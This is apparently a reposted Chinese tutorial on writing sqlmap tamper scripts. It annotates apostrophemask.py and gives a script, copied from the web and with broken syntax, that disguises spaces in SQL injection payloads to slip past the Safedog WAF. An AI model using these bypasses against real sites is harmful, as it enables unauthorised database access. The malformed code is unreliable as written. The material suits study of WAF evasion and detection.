sqlmap tamper编写规则

Sqlmap 简介

sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。本文重点研究sqlmap的软件具体的目录结构,后续的文章也会从源码编写中,阐述sqlmap的种种编码结果。本文从结构中,可以看到sqlmap中的软件工程之美,同时从严谨的软件结构目录分类和构造中,看到sqlmap中的软件开发过程中的庞大但简洁的结构之美。

tamper脚本

当我们下载了【sqlmap】的安装包,解压后到文件夹【sqlmap】,在以下路径,我们可以找到文件夹【tamper】,该文件夹有很多个脚本分别对WAF进行检测。例如360,绿盟WAF,modsecurity.,百度,fortiweb,cloudflare。由此可见老外对国内的WAF也是有了解的,可见他们也会悄悄对国内的WAF进行绕过。

分析tamper脚本

由于【tamper】文件夹中有众多的tamper脚本,限于篇幅,无法全部分析,故选取其中一个比较常用的脚本【apostrophemask.py】作为样本分析 —— 内容是将 ‘ 替换成%EF%BC%87

这个里面会的参考内容其实就是url编码表,打开看一下就可以知道内容了

#!/usr/bin/env python
#此处用法为:程序到env设置里查找python的安装路径,再调用对应路径下的解释器程序完成操作。这是非常好的做法
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
#文档说明三个双引号进行多行注释,这就没有说的意义了
from lib.core.enums import PRIORITY
#导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py
__priority__ = PRIORITY.LOWEST
#定义优先级,此处为级别为【lowest】
def dependencies():
   #定义dependencies():此处是为了和整体脚本的结构保持一致。
   pass
#pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性。
def tamper(payload, **kwargs):
   #定义tamper脚本,payload, kwargs 为定义的参数,其中**kwargs为字典存储,类似于 {'a': 1, 'c': 3, 'b': 2}
   """
  Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
#此处为tamper说明 ,以便使用该脚本。在本例中,该脚本可以(e.g. ' -> %EF%BC%87)
  References: 参考内容是什么,从以下几个链接,其实就是将单引号 url 编码
      * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
      * http://lukasz.pilorz.net/testy/unicode_conversion/
      * http://sla.ckers.org/forum/read.php?13,11562,11850
      * http://lukasz.pilorz.net/testy/full_width_utf/index.phps

  >>> tamper("1 AND '1'='1")
  '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'举例,就不详细说明了
  """

   return payload.replace('\'', "%EF%BC%87") if payload else payload
#替换 ' 为%EF%BC%87 最后返回payload.

编写一个tamper脚本

在这里,我们尝试写一个(从网上抄一个)绕过安全狗的tamper脚本,毕竟安全狗在服务器安全领域还是挺不错的,竟然还是免费的,在linux和windows上有各种版本,并且一直维护更新中。

!/usr/bin/env python                                             #此处代码可以直接从其他tamper复制粘贴过来

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)      
See the file 'doc/COPYING' for copying permission
v0.0.1
2016.08.21 脚本说明
"""

from lib.core.enums import PRIORITY    #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py
priority = PRIORITY.LOW               #定义优先级,此处为级别为【一般】
def dependencies():                              
   #定义dependencies():此处是为了和整体脚本的结构保持一致。
   pass                            
#pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性
def tamper(payload, kwargs):      
   #定义tamper脚本,kwargs 为字典存储,类似于 {'a': 1, 'c': 3}
"""
To bypass safedog      
Replaces space character (' ') with plus ('/*|%20--%20|*/')          
#把空格替换为(/*|%20--%20|*/)绕过,此处为绕过规则>>> tamper('SELECT id FROM users')         #此处为替换后的具体执行形式'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
"""
retVal = payload                                                                     # 将payload赋值给 retVal ,以便中间转换。
if payload:                                                                                 retVal = ""
   quote, doublequote, firstspace = False, False, False            
   #定义这些符号参数,防止对后面的替换造成影响
   for i in xrange(len(payload)):                                              
       # 在攻击载荷中逐个进行判断操作。
       if not firstspace:                                                                     # 如果攻击载荷的第一个字段是空格,则进行替换
           if payload[i].isspace():
               firstspace = True
               retVal += "/*|%20--%20|*/"                                      
               #把空格( ) 替换成(/*|%20--%20|*/)
               continue                                                                       #继续进行判断操作
       elif payload[i] == '\'':                                                         #如果攻击载荷中有(\ ),则进行编码转换
           quote = not quote
       elif payload[i] == '"':                                                          #如果攻击载荷中有(“ ),则进行编码转换
           doublequote = not doublequote
       elif payload[i] == " " and not doublequote and not quote:        
           #如果攻击载荷中有空格(),并且它既不是doublequote 或 quote  
           retVal += "/*|%20--%20|*/"                                                     #则进行编码转换
           continue                                                                               #继续执行
       retVal += payload[i]                                                           #得到重新组合的payload
return retVal

本文作者:Loren麟, 转载请注明来自FreeBuf.COM

THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发
Admin的头像-Se37一安全动态分享

昵称

取消
昵称表情代码